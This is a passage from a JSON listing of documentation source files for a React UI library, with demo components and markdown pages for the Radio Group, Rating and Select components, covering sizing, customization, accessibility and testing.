    "path": "docs/data/material/components/radio-buttons/SizeRadioButtons.js",
    "content": "import * as React from 'react';\nimport Radio from '@mui/material/Radio';\n\nexport default function SizeRadioButtons() {\n  const [selectedValue, setSelectedValue] = React.useState('a');\n  const handleChange = (event) => {\n    setSelectedValue(event.target.value);\n  };\n\n  const controlProps = (item) => ({\n    checked: selectedValue === item,\n    onChange: handleChange,\n    value: item,\n    name: 'size-radio-button-demo',\n    inputProps: { 'aria-label': item },\n  });\n\n  return (\n    <div>\n      <Radio {...controlProps('a')} size=\"small\" />\n      <Radio {...controlProps('b')} />\n      <Radio\n        {...controlProps('c')}\n        sx={{\n          '& .MuiSvgIcon-root': {\n            fontSize: 28,\n          },\n        }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/SizeRadioButtons.tsx",
    "content": "import * as React from 'react';\nimport Radio from '@mui/material/Radio';\n\nexport default function SizeRadioButtons() {\n  const [selectedValue, setSelectedValue] = React.useState('a');\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setSelectedValue(event.target.value);\n  };\n\n  const controlProps = (item: string) => ({\n    checked: selectedValue === item,\n    onChange: handleChange,\n    value: item,\n    name: 'size-radio-button-demo',\n    inputProps: { 'aria-label': item },\n  });\n\n  return (\n    <div>\n      <Radio {...controlProps('a')} size=\"small\" />\n      <Radio {...controlProps('b')} />\n      <Radio\n        {...controlProps('c')}\n        sx={{\n          '& .MuiSvgIcon-root': {\n            fontSize: 28,\n          },\n        }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/SizeRadioButtons.tsx.preview",
    "content": "<Radio {...controlProps('a')} size=\"small\" />\n<Radio {...controlProps('b')} />\n<Radio\n  {...controlProps('c')}\n  sx={{\n    '& .MuiSvgIcon-root': {\n      fontSize: 28,\n    },\n  }}\n/>"
  },
  {
    "path": "docs/data/material/components/radio-buttons/UseRadioGroup.js",
    "content": "import { styled } from '@mui/material/styles';\nimport PropTypes from 'prop-types';\nimport RadioGroup, { useRadioGroup } from '@mui/material/RadioGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Radio from '@mui/material/Radio';\n\nconst StyledFormControlLabel = styled((props) => <FormControlLabel {...props} />)(\n  ({ theme }) => ({\n    variants: [\n      {\n        props: { checked: true },\n        style: {\n          '.MuiFormControlLabel-label': {\n            color: theme.palette.primary.main,\n          },\n        },\n      },\n    ],\n  }),\n);\n\nfunction MyFormControlLabel(props) {\n  const radioGroup = useRadioGroup();\n\n  let checked = false;\n\n  if (radioGroup) {\n    checked = radioGroup.value === props.value;\n  }\n\n  return <StyledFormControlLabel checked={checked} {...props} />;\n}\n\nMyFormControlLabel.propTypes = {\n  /**\n   * The value of the component.\n   */\n  value: PropTypes.any,\n};\n\nexport default function UseRadioGroup() {\n  return (\n    <RadioGroup name=\"use-radio-group\" defaultValue=\"first\">\n      <MyFormControlLabel value=\"first\" label=\"First\" control={<Radio />} />\n      <MyFormControlLabel value=\"second\" label=\"Second\" control={<Radio />} />\n    </RadioGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/UseRadioGroup.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport RadioGroup, { useRadioGroup } from '@mui/material/RadioGroup';\nimport FormControlLabel, {\n  FormControlLabelProps,\n} from '@mui/material/FormControlLabel';\nimport Radio from '@mui/material/Radio';\n\ninterface StyledFormControlLabelProps extends FormControlLabelProps {\n  checked: boolean;\n}\n\nconst StyledFormControlLabel = styled((props: StyledFormControlLabelProps) => (\n  <FormControlLabel {...props} />\n))(({ theme }) => ({\n  variants: [\n    {\n      props: { checked: true },\n      style: {\n        '.MuiFormControlLabel-label': {\n          color: theme.palette.primary.main,\n        },\n      },\n    },\n  ],\n}));\n\nfunction MyFormControlLabel(props: FormControlLabelProps) {\n  const radioGroup = useRadioGroup();\n\n  let checked = false;\n\n  if (radioGroup) {\n    checked = radioGroup.value === props.value;\n  }\n\n  return <StyledFormControlLabel checked={checked} {...props} />;\n}\n\nexport default function UseRadioGroup() {\n  return (\n    <RadioGroup name=\"use-radio-group\" defaultValue=\"first\">\n      <MyFormControlLabel value=\"first\" label=\"First\" control={<Radio />} />\n      <MyFormControlLabel value=\"second\" label=\"Second\" control={<Radio />} />\n    </RadioGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/UseRadioGroup.tsx.preview",
    "content": "<RadioGroup name=\"use-radio-group\" defaultValue=\"first\">\n  <MyFormControlLabel value=\"first\" label=\"First\" control={<Radio />} />\n  <MyFormControlLabel value=\"second\" label=\"Second\" control={<Radio />} />\n</RadioGroup>"
  },
  {
    "path": "docs/data/material/components/radio-buttons/radio-buttons.md",
    "content": "---\nproductId: material-ui\ntitle: React Radio Group component\ncomponents: Radio, RadioGroup, FormControl, FormLabel, FormControlLabel\ngithubLabel: 'scope: radio'\nmaterialDesign: https://m2.material.io/components/selection-controls#radio-buttons\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/radio/\ngithubSource: packages/mui-material/src/RadioGroup\n---\n\n# Radio Group\n\n<p class=\"description\">The Radio Group allows the user to select one option from a set.</p>\n\nUse radio buttons when the user needs to see all available options.\nIf available options can be collapsed, consider using a [Select component](/material-ui/react-select/) because it uses less space.\n\nRadio buttons should have the most commonly used option selected by default.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Radio group\n\n`RadioGroup` is a helpful wrapper used to group `Radio` components that provides an easier API, and proper keyboard accessibility to the group.\n\n{{\"demo\": \"RadioButtonsGroup.js\"}}\n\n### Direction\n\nTo lay out the buttons horizontally, set the `row` prop:\n\n{{\"demo\": \"RowRadioButtonsGroup.js\"}}\n\n### Controlled\n\nYou can control the radio with the `value` and `onChange` props:\n\n{{\"demo\": \"ControlledRadioButtonsGroup.js\"}}\n\n## Standalone radio buttons\n\n`Radio` can also be used standalone, without the RadioGroup wrapper.\n\n{{\"demo\": \"RadioButtons.js\"}}\n\n## Size\n\nUse the `size` prop or customize the font size of the svg icons to change the size of the radios.\n\n{{\"demo\": \"SizeRadioButtons.js\"}}\n\n## Color\n\n{{\"demo\": \"ColorRadioButtons.js\"}}\n\n## Label placement\n\nYou can change the placement of the label with the `FormControlLabel` component's `labelPlacement` prop:\n\n{{\"demo\": \"FormControlLabelPlacement.js\"}}\n\n## Show error\n\nIn general, radio buttons should have a value selected by default. If this is not the case, you can display an error if no value is selected when the form is submitted:\n\n{{\"demo\": \"ErrorRadios.js\"}}\n\n## Customization\n\nHere is an example of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedRadios.js\"}}\n\n## `useRadioGroup`\n\nFor advanced customization use cases, a `useRadioGroup()` hook is exposed.\nIt returns the context value of the parent radio group.\nThe Radio component uses this hook internally.\n\n### API\n\n```jsx\nimport { useRadioGroup } from '@mui/material/RadioGroup';\n```\n\n#### Returns\n\n`value` (_object_):\n\n- `value.name` (_string_ [optional]): The name used to reference the value of the control.\n- `value.onChange` (_func_ [optional]): Callback fired when a radio button is selected.\n- `value.value` (_any_ [optional]): Value of the selected radio button.\n\n#### Example\n\n{{\"demo\": \"UseRadioGroup.js\"}}\n\n## When to use\n\n- [Checkboxes vs. Radio Buttons](https://www.nngroup.com/articles/checkboxes-vs-radio-buttons/)\n\n## Accessibility\n\n(WAI-ARIA: https://www.w3.org/WAI/ARIA/apg/patterns/radio/)\n\n- All form controls should have labels, and this includes radio buttons, checkboxes, and switches. In most cases, this is done by using the `<label>` element ([FormControlLabel](/material-ui/api/form-control-label/)).\n\n- When a label can't be used, it's necessary to add an attribute directly to the input component.\n  In this case, you can apply the additional attribute (for example `aria-label`, `aria-labelledby`, `title`) via the `slotProps.input` property.\n\n```jsx\n<Radio\n  value=\"radioA\"\n  slotProps={{\n    input: { 'aria-label': 'Radio A' },\n  }}\n/>\n```\n"
  },
  {
    "path": "docs/data/material/components/rating/BasicRating.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Rating from '@mui/material/Rating';\nimport Typography from '@mui/material/Typography';\n\nexport default function BasicRating() {\n  const [value, setValue] = React.useState(2);\n\n  return (\n    <Box sx={{ '& > legend': { mt: 2 } }}>\n      <Typography component=\"legend\">Controlled</Typography>\n      <Rating\n        name=\"simple-controlled\"\n        value={value}\n        onChange={(event, newValue) => {\n          setValue(newValue);\n        }}\n      />\n      <Typography component=\"legend\">Uncontrolled</Typography>\n      <Rating\n        name=\"simple-uncontrolled\"\n        onChange={(event, newValue) => {\n          console.log(newValue);\n        }}\n        defaultValue={2}\n      />\n      <Typography component=\"legend\">Read only</Typography>\n      <Rating name=\"read-only\" value={value} readOnly />\n      <Typography component=\"legend\">Disabled</Typography>\n      <Rating name=\"disabled\" value={value} disabled />\n      <Typography component=\"legend\">No rating given</Typography>\n      <Rating name=\"no-value\" value={null} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/BasicRating.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Rating from '@mui/material/Rating';\nimport Typography from '@mui/material/Typography';\n\nexport default function BasicRating() {\n  const [value, setValue] = React.useState<number | null>(2);\n\n  return (\n    <Box sx={{ '& > legend': { mt: 2 } }}>\n      <Typography component=\"legend\">Controlled</Typography>\n      <Rating\n        name=\"simple-controlled\"\n        value={value}\n        onChange={(event, newValue) => {\n          setValue(newValue);\n        }}\n      />\n      <Typography component=\"legend\">Uncontrolled</Typography>\n      <Rating\n        name=\"simple-uncontrolled\"\n        onChange={(event, newValue) => {\n          console.log(newValue);\n        }}\n        defaultValue={2}\n      />\n      <Typography component=\"legend\">Read only</Typography>\n      <Rating name=\"read-only\" value={value} readOnly />\n      <Typography component=\"legend\">Disabled</Typography>\n      <Rating name=\"disabled\" value={value} disabled />\n      <Typography component=\"legend\">No rating given</Typography>\n      <Rating name=\"no-value\" value={null} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/CustomizedRating.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Rating from '@mui/material/Rating';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport FavoriteBorderIcon from '@mui/icons-material/FavoriteBorder';\nimport Typography from '@mui/material/Typography';\n\nconst StyledRating = styled(Rating)({\n  '& .MuiRating-iconFilled': {\n    color: '#ff6d75',\n  },\n  '& .MuiRating-iconHover': {\n    color: '#ff3d47',\n  },\n});\n\nexport default function CustomizedRating() {\n  return (\n    <Box sx={{ '& > legend': { mt: 2 } }}>\n      <Typography component=\"legend\">Custom icon and color</Typography>\n      <StyledRating\n        name=\"customized-color\"\n        defaultValue={2}\n        getLabelText={(value) => `${value} Heart${value !== 1 ? 's' : ''}`}\n        precision={0.5}\n        icon={<FavoriteIcon fontSize=\"inherit\" />}\n        emptyIcon={<FavoriteBorderIcon fontSize=\"inherit\" />}\n      />\n      <Typography component=\"legend\">10 stars</Typography>\n      <Rating name=\"customized-10\" defaultValue={2} max={10} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/CustomizedRating.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Rating from '@mui/material/Rating';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport FavoriteBorderIcon from '@mui/icons-material/FavoriteBorder';\nimport Typography from '@mui/material/Typography';\n\nconst StyledRating = styled(Rating)({\n  '& .MuiRating-iconFilled': {\n    color: '#ff6d75',\n  },\n  '& .MuiRating-iconHover': {\n    color: '#ff3d47',\n  },\n});\n\nexport default function CustomizedRating() {\n  return (\n    <Box sx={{ '& > legend': { mt: 2 } }}>\n      <Typography component=\"legend\">Custom icon and color</Typography>\n      <StyledRating\n        name=\"customized-color\"\n        defaultValue={2}\n        getLabelText={(value: number) => `${value} Heart${value !== 1 ? 's' : ''}`}\n        precision={0.5}\n        icon={<FavoriteIcon fontSize=\"inherit\" />}\n        emptyIcon={<FavoriteBorderIcon fontSize=\"inherit\" />}\n      />\n      <Typography component=\"legend\">10 stars</Typography>\n      <Rating name=\"customized-10\" defaultValue={2} max={10} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/CustomizedRating.tsx.preview",
    "content": "<Typography component=\"legend\">Custom icon and color</Typography>\n<StyledRating\n  name=\"customized-color\"\n  defaultValue={2}\n  getLabelText={(value: number) => `${value} Heart${value !== 1 ? 's' : ''}`}\n  precision={0.5}\n  icon={<FavoriteIcon fontSize=\"inherit\" />}\n  emptyIcon={<FavoriteBorderIcon fontSize=\"inherit\" />}\n/>\n<Typography component=\"legend\">10 stars</Typography>\n<Rating name=\"customized-10\" defaultValue={2} max={10} />"
  },
  {
    "path": "docs/data/material/components/rating/HalfRating.js",
    "content": "import Rating from '@mui/material/Rating';\nimport Stack from '@mui/material/Stack';\n\nexport default function HalfRating() {\n  return (\n    <Stack spacing={1}>\n      <Rating name=\"half-rating\" defaultValue={2.5} precision={0.5} />\n      <Rating name=\"half-rating-read\" defaultValue={2.5} precision={0.5} readOnly />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/HalfRating.tsx",
    "content": "import Rating from '@mui/material/Rating';\nimport Stack from '@mui/material/Stack';\n\nexport default function HalfRating() {\n  return (\n    <Stack spacing={1}>\n      <Rating name=\"half-rating\" defaultValue={2.5} precision={0.5} />\n      <Rating name=\"half-rating-read\" defaultValue={2.5} precision={0.5} readOnly />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/HalfRating.tsx.preview",
    "content": "<Rating name=\"half-rating\" defaultValue={2.5} precision={0.5} />\n<Rating name=\"half-rating-read\" defaultValue={2.5} precision={0.5} readOnly />"
  },
  {
    "path": "docs/data/material/components/rating/HoverRating.js",
    "content": "import * as React from 'react';\nimport Rating from '@mui/material/Rating';\nimport Box from '@mui/material/Box';\nimport StarIcon from '@mui/icons-material/Star';\n\nconst labels = {\n  0.5: 'Useless',\n  1: 'Useless+',\n  1.5: 'Poor',\n  2: 'Poor+',\n  2.5: 'Ok',\n  3: 'Ok+',\n  3.5: 'Good',\n  4: 'Good+',\n  4.5: 'Excellent',\n  5: 'Excellent+',\n};\n\nfunction getLabelText(value) {\n  return `${value} Star${value !== 1 ? 's' : ''}, ${labels[value]}`;\n}\n\nexport default function HoverRating() {\n  const [value, setValue] = React.useState(2);\n  const [hover, setHover] = React.useState(-1);\n\n  return (\n    <Box sx={{ width: 200, display: 'flex', alignItems: 'center' }}>\n      <Rating\n        name=\"hover-feedback\"\n        value={value}\n        precision={0.5}\n        getLabelText={getLabelText}\n        onChange={(event, newValue) => {\n          setValue(newValue);\n        }}\n        onChangeActive={(event, newHover) => {\n          setHover(newHover);\n        }}\n        emptyIcon={<StarIcon style={{ opacity: 0.55 }} fontSize=\"inherit\" />}\n      />\n      {value !== null && (\n        <Box sx={{ ml: 2 }}>{labels[hover !== -1 ? hover : value]}</Box>\n      )}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/HoverRating.tsx",
    "content": "import * as React from 'react';\nimport Rating from '@mui/material/Rating';\nimport Box from '@mui/material/Box';\nimport StarIcon from '@mui/icons-material/Star';\n\nconst labels: { [index: string]: string } = {\n  0.5: 'Useless',\n  1: 'Useless+',\n  1.5: 'Poor',\n  2: 'Poor+',\n  2.5: 'Ok',\n  3: 'Ok+',\n  3.5: 'Good',\n  4: 'Good+',\n  4.5: 'Excellent',\n  5: 'Excellent+',\n};\n\nfunction getLabelText(value: number) {\n  return `${value} Star${value !== 1 ? 's' : ''}, ${labels[value]}`;\n}\n\nexport default function HoverRating() {\n  const [value, setValue] = React.useState<number | null>(2);\n  const [hover, setHover] = React.useState(-1);\n\n  return (\n    <Box sx={{ width: 200, display: 'flex', alignItems: 'center' }}>\n      <Rating\n        name=\"hover-feedback\"\n        value={value}\n        precision={0.5}\n        getLabelText={getLabelText}\n        onChange={(event, newValue) => {\n          setValue(newValue);\n        }}\n        onChangeActive={(event, newHover) => {\n          setHover(newHover);\n        }}\n        emptyIcon={<StarIcon style={{ opacity: 0.55 }} fontSize=\"inherit\" />}\n      />\n      {value !== null && (\n        <Box sx={{ ml: 2 }}>{labels[hover !== -1 ? hover : value]}</Box>\n      )}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/HoverRating.tsx.preview",
    "content": "<Rating\n  name=\"hover-feedback\"\n  value={value}\n  precision={0.5}\n  getLabelText={getLabelText}\n  onChange={(event, newValue) => {\n    setValue(newValue);\n  }}\n  onChangeActive={(event, newHover) => {\n    setHover(newHover);\n  }}\n  emptyIcon={<StarIcon style={{ opacity: 0.55 }} fontSize=\"inherit\" />}\n/>\n{value !== null && (\n  <Box sx={{ ml: 2 }}>{labels[hover !== -1 ? hover : value]}</Box>\n)}"
  },
  {
    "path": "docs/data/material/components/rating/RadioGroupRating.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { styled } from '@mui/material/styles';\nimport Rating from '@mui/material/Rating';\nimport SentimentVeryDissatisfiedIcon from '@mui/icons-material/SentimentVeryDissatisfied';\nimport SentimentDissatisfiedIcon from '@mui/icons-material/SentimentDissatisfied';\nimport SentimentSatisfiedIcon from '@mui/icons-material/SentimentSatisfied';\nimport SentimentSatisfiedAltIcon from '@mui/icons-material/SentimentSatisfiedAltOutlined';\nimport SentimentVerySatisfiedIcon from '@mui/icons-material/SentimentVerySatisfied';\n\nconst StyledRating = styled(Rating)(({ theme }) => ({\n  '& .MuiRating-iconEmpty .MuiSvgIcon-root': {\n    color: theme.palette.action.disabled,\n  },\n}));\n\nconst customIcons = {\n  1: {\n    icon: <SentimentVeryDissatisfiedIcon color=\"error\" />,\n    label: 'Very Dissatisfied',\n  },\n  2: {\n    icon: <SentimentDissatisfiedIcon color=\"error\" />,\n    label: 'Dissatisfied',\n  },\n  3: {\n    icon: <SentimentSatisfiedIcon color=\"warning\" />,\n    label: 'Neutral',\n  },\n  4: {\n    icon: <SentimentSatisfiedAltIcon color=\"success\" />,\n    label: 'Satisfied',\n  },\n  5: {\n    icon: <SentimentVerySatisfiedIcon color=\"success\" />,\n    label: 'Very Satisfied',\n  },\n};\n\nfunction IconContainer(props) {\n  const { value, ...other } = props;\n  return <span {...other}>{customIcons[value].icon}</span>;\n}\n\nIconContainer.propTypes = {\n  value: PropTypes.number.isRequired,\n};\n\nexport default function RadioGroupRating() {\n  return (\n    <StyledRating\n      name=\"highlight-selected-only\"\n      defaultValue={2}\n      getLabelText={(value) => customIcons[value].label}\n      slotProps={{ icon: { component: IconContainer } }}\n      highlightSelectedOnly\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/RadioGroupRating.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Rating, { IconContainerProps } from '@mui/material/Rating';\nimport SentimentVeryDissatisfiedIcon from '@mui/icons-material/SentimentVeryDissatisfied';\nimport SentimentDissatisfiedIcon from '@mui/icons-material/SentimentDissatisfied';\nimport SentimentSatisfiedIcon from '@mui/icons-material/SentimentSatisfied';\nimport SentimentSatisfiedAltIcon from '@mui/icons-material/SentimentSatisfiedAltOutlined';\nimport SentimentVerySatisfiedIcon from '@mui/icons-material/SentimentVerySatisfied';\n\nconst StyledRating = styled(Rating)(({ theme }) => ({\n  '& .MuiRating-iconEmpty .MuiSvgIcon-root': {\n    color: theme.palette.action.disabled,\n  },\n}));\n\nconst customIcons: {\n  [index: string]: {\n    icon: React.ReactElement<unknown>;\n    label: string;\n  };\n} = {\n  1: {\n    icon: <SentimentVeryDissatisfiedIcon color=\"error\" />,\n    label: 'Very Dissatisfied',\n  },\n  2: {\n    icon: <SentimentDissatisfiedIcon color=\"error\" />,\n    label: 'Dissatisfied',\n  },\n  3: {\n    icon: <SentimentSatisfiedIcon color=\"warning\" />,\n    label: 'Neutral',\n  },\n  4: {\n    icon: <SentimentSatisfiedAltIcon color=\"success\" />,\n    label: 'Satisfied',\n  },\n  5: {\n    icon: <SentimentVerySatisfiedIcon color=\"success\" />,\n    label: 'Very Satisfied',\n  },\n};\n\nfunction IconContainer(props: IconContainerProps) {\n  const { value, ...other } = props;\n  return <span {...other}>{customIcons[value].icon}</span>;\n}\n\nexport default function RadioGroupRating() {\n  return (\n    <StyledRating\n      name=\"highlight-selected-only\"\n      defaultValue={2}\n      getLabelText={(value: number) => customIcons[value].label}\n      slotProps={{ icon: { component: IconContainer } }}\n      highlightSelectedOnly\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/RadioGroupRating.tsx.preview",
    "content": "<StyledRating\n  name=\"highlight-selected-only\"\n  defaultValue={2}\n  getLabelText={(value: number) => customIcons[value].label}\n  slotProps={{ icon: { component: IconContainer } }}\n  highlightSelectedOnly\n/>"
  },
  {
    "path": "docs/data/material/components/rating/RatingSize.js",
    "content": "import Rating from '@mui/material/Rating';\nimport Stack from '@mui/material/Stack';\n\nexport default function RatingSize() {\n  return (\n    <Stack spacing={1}>\n      <Rating name=\"size-small\" defaultValue={2} size=\"small\" />\n      <Rating name=\"size-medium\" defaultValue={2} />\n      <Rating name=\"size-large\" defaultValue={2} size=\"large\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/RatingSize.tsx",
    "content": "import Rating from '@mui/material/Rating';\nimport Stack from '@mui/material/Stack';\n\nexport default function RatingSize() {\n  return (\n    <Stack spacing={1}>\n      <Rating name=\"size-small\" defaultValue={2} size=\"small\" />\n      <Rating name=\"size-medium\" defaultValue={2} />\n      <Rating name=\"size-large\" defaultValue={2} size=\"large\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/RatingSize.tsx.preview",
    "content": "<Rating name=\"size-small\" defaultValue={2} size=\"small\" />\n<Rating name=\"size-medium\" defaultValue={2} />\n<Rating name=\"size-large\" defaultValue={2} size=\"large\" />"
  },
  {
    "path": "docs/data/material/components/rating/TextRating.js",
    "content": "import Box from '@mui/material/Box';\nimport Rating from '@mui/material/Rating';\nimport StarIcon from '@mui/icons-material/Star';\n\nconst labels = {\n  0.5: 'Useless',\n  1: 'Useless+',\n  1.5: 'Poor',\n  2: 'Poor+',\n  2.5: 'Ok',\n  3: 'Ok+',\n  3.5: 'Good',\n  4: 'Good+',\n  4.5: 'Excellent',\n  5: 'Excellent+',\n};\n\nexport default function TextRating() {\n  const value = 3.5;\n\n  return (\n    <Box sx={{ width: 200, display: 'flex', alignItems: 'center' }}>\n      <Rating\n        name=\"text-feedback\"\n        value={value}\n        readOnly\n        precision={0.5}\n        emptyIcon={<StarIcon style={{ opacity: 0.55 }} fontSize=\"inherit\" />}\n      />\n      <Box sx={{ ml: 2 }}>{labels[value]}</Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/TextRating.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Rating from '@mui/material/Rating';\nimport StarIcon from '@mui/icons-material/Star';\n\nconst labels: { [index: string]: string } = {\n  0.5: 'Useless',\n  1: 'Useless+',\n  1.5: 'Poor',\n  2: 'Poor+',\n  2.5: 'Ok',\n  3: 'Ok+',\n  3.5: 'Good',\n  4: 'Good+',\n  4.5: 'Excellent',\n  5: 'Excellent+',\n};\n\nexport default function TextRating() {\n  const value = 3.5;\n\n  return (\n    <Box sx={{ width: 200, display: 'flex', alignItems: 'center' }}>\n      <Rating\n        name=\"text-feedback\"\n        value={value}\n        readOnly\n        precision={0.5}\n        emptyIcon={<StarIcon style={{ opacity: 0.55 }} fontSize=\"inherit\" />}\n      />\n      <Box sx={{ ml: 2 }}>{labels[value]}</Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/rating/TextRating.tsx.preview",
    "content": "<Rating\n  name=\"text-feedback\"\n  value={value}\n  readOnly\n  precision={0.5}\n  emptyIcon={<StarIcon style={{ opacity: 0.55 }} fontSize=\"inherit\" />}\n/>\n<Box sx={{ ml: 2 }}>{labels[value]}</Box>"
  },
  {
    "path": "docs/data/material/components/rating/rating.md",
    "content": "---\nproductId: material-ui\ntitle: React Rating component\ncomponents: Rating\ngithubLabel: 'scope: rating'\nwaiAria: https://www.w3.org/WAI/tutorials/forms/custom-controls/#a-star-rating\ngithubSource: packages/mui-material/src/Rating\n---\n\n# Rating\n\n<p class=\"description\">Ratings provide insight regarding others' opinions and experiences, and can allow the user to submit a rating of their own.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic rating\n\n{{\"demo\": \"BasicRating.js\"}}\n\n## Rating precision\n\nThe rating can display any float number with the `value` prop.\nUse the `precision` prop to define the minimum increment value change allowed.\n\n{{\"demo\": \"HalfRating.js\"}}\n\n## Hover feedback\n\nYou can display a label on hover to help the user pick the correct rating value.\nThe demo uses the `onChangeActive` prop.\n\n{{\"demo\": \"HoverRating.js\"}}\n\n## Sizes\n\nFor larger or smaller ratings use the `size` prop.\n\n{{\"demo\": \"RatingSize.js\"}}\n\n## Customization\n\nHere are some examples of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedRating.js\"}}\n\n## Radio group\n\nThe rating is implemented with a radio group, set `highlightSelectedOnly` to restore the natural behavior.\n\n{{\"demo\": \"RadioGroupRating.js\"}}\n\n## Accessibility\n\n([WAI tutorial](https://www.w3.org/WAI/tutorials/forms/custom-controls/#a-star-rating))\n\nThe accessibility of this component relies on:\n\n- A radio group with its fields visually hidden.\n  It contains six radio buttons, one for each star, and another for 0 stars that is checked by default. Be sure to provide a value for the `name` prop that is unique to the parent form.\n- Labels for the radio buttons containing actual text (\"1 Star\", \"2 Stars\", …).\n  Be sure to provide a suitable function to the `getLabelText` prop when the page is in a language other than English. You can use the [included locales](/material-ui/guides/localization/), or provide your own.\n- A visually distinct appearance for the rating icons.\n  By default, the rating component uses both a difference of color and shape (filled and empty icons) to indicate the value. In the event that you are using color as the only means to indicate the value, the information should also be also displayed as text, as in this demo. This is important to match [success Criterion 1.4.1](https://www.w3.org/TR/WCAG21/#use-of-color) of WCAG2.1.\n\n{{\"demo\": \"TextRating.js\"}}\n\n### ARIA\n\nThe read only rating has a role of \"img\", and an aria-label that describes the displayed rating.\n\n### Keyboard\n\nBecause the rating component uses radio buttons, keyboard interaction follows the native browser behavior. Tab will focus the current rating, and cursor keys control the selected rating.\n\nThe read only rating is not focusable.\n\n## Testing\n\nWhen testing the Rating component in environments such as Jest with jsdom, certain user interactions—especially hover-based interactions—may not behave as expected.\nThis is because the component relies on `getBoundingClientRect()` to calculate the position of each icon and determine which icon is currently being hovered.\nIn jsdom, `getBoundingClientRect()` returns `0` values by default, which can lead to incorrect behavior such as `NaN` being passed to the `onChange` handler.\n\nTo avoid this issue in your test suite:\n\n- Prefer `fireEvent` over `userEvent` when simulating click events.\n- Avoid relying on hover behavior to trigger changes.\n- If needed, mock `getBoundingClientRect()` manually for more advanced interactions.\n\n```tsx\n// @vitest-environment jsdom\n\nimport { Rating } from '@mui/material';\nimport { render, fireEvent, screen } from '@testing-library/react';\n\nimport { describe, test, vi } from 'vitest';\n\ndescribe('Rating', () => {\n  test('should update rating on click', () => {\n    const handleChange = vi.fn();\n    render(<Rating onChange={(_, newValue) => handleChange(newValue)} />);\n\n    fireEvent.click(screen.getByLabelText('2 Stars'));\n\n    expect(handleChange).toHaveBeenCalledWith(2);\n  });\n});\n```\n"
  },
  {
    "path": "docs/data/material/components/selects/BasicSelect.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nexport default function BasicSelect() {\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event) => {\n    setAge(event.target.value);\n  };\n\n  return (\n    <Box sx={{ minWidth: 120 }}>\n      <FormControl fullWidth>\n        <InputLabel id=\"demo-simple-select-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-label\"\n          id=\"demo-simple-select\"\n          value={age}\n          label=\"Age\"\n          onChange={handleChange}\n        >\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n      </FormControl>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/BasicSelect.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\n\nexport default function BasicSelect() {\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event: SelectChangeEvent) => {\n    setAge(event.target.value as string);\n  };\n\n  return (\n    <Box sx={{ minWidth: 120 }}>\n      <FormControl fullWidth>\n        <InputLabel id=\"demo-simple-select-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-label\"\n          id=\"demo-simple-select\"\n          value={age}\n          label=\"Age\"\n          onChange={handleChange}\n        >\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n      </FormControl>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/BasicSelect.tsx.preview",
